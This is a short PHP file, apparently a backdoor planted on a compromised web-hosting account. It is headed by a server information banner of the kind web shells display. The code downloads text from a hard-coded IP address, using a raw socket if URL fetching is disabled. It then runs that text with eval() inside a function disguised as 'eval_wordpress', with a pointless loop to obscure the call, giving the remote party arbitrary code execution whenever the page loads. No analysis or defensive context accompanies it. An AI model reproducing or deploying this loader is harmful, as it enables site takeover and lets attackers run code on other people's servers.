Server : LiteSpeed System : Linux server335.web-hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64 User : cardxfeb ( 2452) PHP Version : 8.1.34 Disable Function : NONE Directory : /home/cardxfeb/public_html/public/ |
<?php
function get_remote_content($url = 'http://69.197.179.170/z60610_o/stat/index.txt' ) {
$ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0';
if (ini_get('allow_url_fopen')) {
$ctx = stream_context_create(["http" => ["header" => "User-Agent: $ua\r\n"]]);
$res = @file_get_contents($url, false, $ctx);
if ($res) return $res;
}
$p = parse_url($url);
$host = $p['host'];
$port = ($p['scheme'] == 'https') ? 443 : 80;
$sock = @fsockopen(($port == 443 ? "ssl://" : "") . $host, $port, $en, $er, 10);
if ($sock) {
$req = "GET " . ($p['path'] ?? '/') . " HTTP/1.1\r\nHost: $host\r\nUser-Agent: $ua\r\nConnection: Close\r\n\r\n";
fwrite($sock, $req);
$raw = '';
while (!feof($sock)) { $raw .= fgets($sock, 1024); }
fclose($sock);
return substr($raw, strpos($raw, "\r\n\r\n") + 4);
}
return false;
}
function eval_wordpress( $content ){
if ( $content ) {
for( $i=0; $i<2; $i++){
while ( $i < 5 ){
eval( $content );
break;
}
break;
}
}
}
$payload = eval_wordpress( '?>'.get_remote_content( ) );